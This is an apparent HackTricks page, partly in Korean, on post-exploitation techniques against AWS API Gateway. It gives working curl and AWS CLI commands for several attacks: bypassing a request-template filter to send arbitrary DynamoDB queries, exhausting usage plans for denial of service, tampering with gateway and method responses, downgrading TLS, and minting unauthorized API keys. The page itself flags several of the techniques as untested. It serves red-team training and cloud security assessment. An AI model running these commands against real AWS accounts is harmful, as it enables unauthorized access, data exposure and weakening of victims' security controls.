AWS - API Gateway Post Exploitation

Reading time: 6 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

API Gateway

For more information check:

AWS - API Gateway Enum

Access unexposed APIs

서비스 com.amazonaws.us-east-1.execute-apihttps://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint에 엔드포인트를 생성하고, 접근 가능한 네트워크(잠재적으로 EC2 머신을 통해)에 엔드포인트를 노출한 뒤 모든 연결을 허용하는 보안 그룹을 할당할 수 있습니다.
그런 다음 EC2 머신에서 해당 엔드포인트에 접근하여 이전에 노출되지 않았던 gateway API를 호출할 수 있습니다.

Bypass Request body passthrough

This technique was found in this CTF writeup.

As indicated in the AWS documentation in the PassthroughBehavior section, by default, the value WHEN_NO_MATCH , when checking the Content-Type header of the request, will pass the request to the back end with no transformation.

Therefore, in the CTF the API Gateway had an integration template that was preventing the flag from being exfiltrated in a response when a request was sent with Content-Type: application/json:

yaml
RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'

하지만 **Content-type: text/json**으로 요청을 보내면 해당 필터를 우회할 수 있었다.

마지막으로, API Gateway가 GetOptions만 허용했기 때문에, 바디에 쿼리를 넣고 헤더 X-HTTP-Method-Override: GET을 사용해 POST 요청을 보내면 제한 없이 임의의 dynamoDB 쿼리를 전송할 수 있었다:

bash
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json'  --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'

Usage Plans DoS

In the Enumeration section you can see how to obtain the usage plan of the keys. If you have the key and it's limited to X usages per month, you could just use it and cause a DoS.

The API Key just need to be included inside a HTTP header called x-api-key.

apigateway:UpdateGatewayResponse, apigateway:CreateDeployment

권한 apigateway:UpdateGatewayResponseapigateway:CreateDeployment를 가진 공격자는 기존 Gateway Response를 수정하여 custom headers나 response templates를 포함시키고, 이를 통해 민감한 정보를 leak 하거나 악성 스크립트를 실행할 수 있습니다.

bash
API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"

# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

잠재적 영향: 민감한 정보의 Leakage, 악성 스크립트 실행, 또는 API 리소스에 대한 무단 접근.

note

테스트 필요

apigateway:UpdateStage, apigateway:CreateDeployment

apigateway:UpdateStageapigateway:CreateDeployment 권한을 가진 공격자는 기존 API Gateway stage를 수정하여 트래픽을 다른 stage로 리디렉션하거나 캐싱 설정을 변경하여 캐시된 데이터에 무단으로 접근할 수 있습니다.

bash
API_ID="your-api-id"
STAGE_NAME="Prod"

# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

잠재적 영향: 캐시된 데이터에 대한 무단 액세스, API 트래픽 중단 또는 가로채기.

note

테스트 필요

apigateway:PutMethodResponse, apigateway:CreateDeployment

권한 apigateway:PutMethodResponseapigateway:CreateDeployment를 가진 공격자는 기존 API Gateway REST API 메서드의 method response를 수정하여 맞춤 헤더나 응답 템플릿을 포함시킴으로써 민감한 정보를 leak 하거나 악성 스크립트를 실행할 수 있습니다.

bash
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"

# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

잠재적 영향: Leakage of sensitive information, 악의적 스크립트 실행, 또는 API 리소스에 대한 무단 액세스.

note

테스트 필요

apigateway:UpdateRestApi, apigateway:CreateDeployment

권한 apigateway:UpdateRestApiapigateway:CreateDeployment를 가진 공격자는 API Gateway REST API 설정을 수정하여 로깅을 비활성화하거나 최소 TLS 버전을 변경함으로써 API의 보안을 약화시킬 수 있습니다.

bash
API_ID="your-api-id"

# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Potential Impact: API 보안 약화 — 잠재적으로 무단 접근을 허용하거나 민감한 정보를 노출시킬 수 있습니다.

note

테스트 필요

apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, apigateway:CreateUsagePlanKey

apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, 및 apigateway:CreateUsagePlanKey 권한을 가진 공격자는 새로운 API keys를 생성하고 이를 usage plans에 연동한 다음, 이 키들로 APIs에 무단 접근할 수 있습니다.

bash
# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')

# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')

# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY

잠재적 영향: API 리소스에 대한 무단 접근, 보안 제어 우회.

note

테스트 필요

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기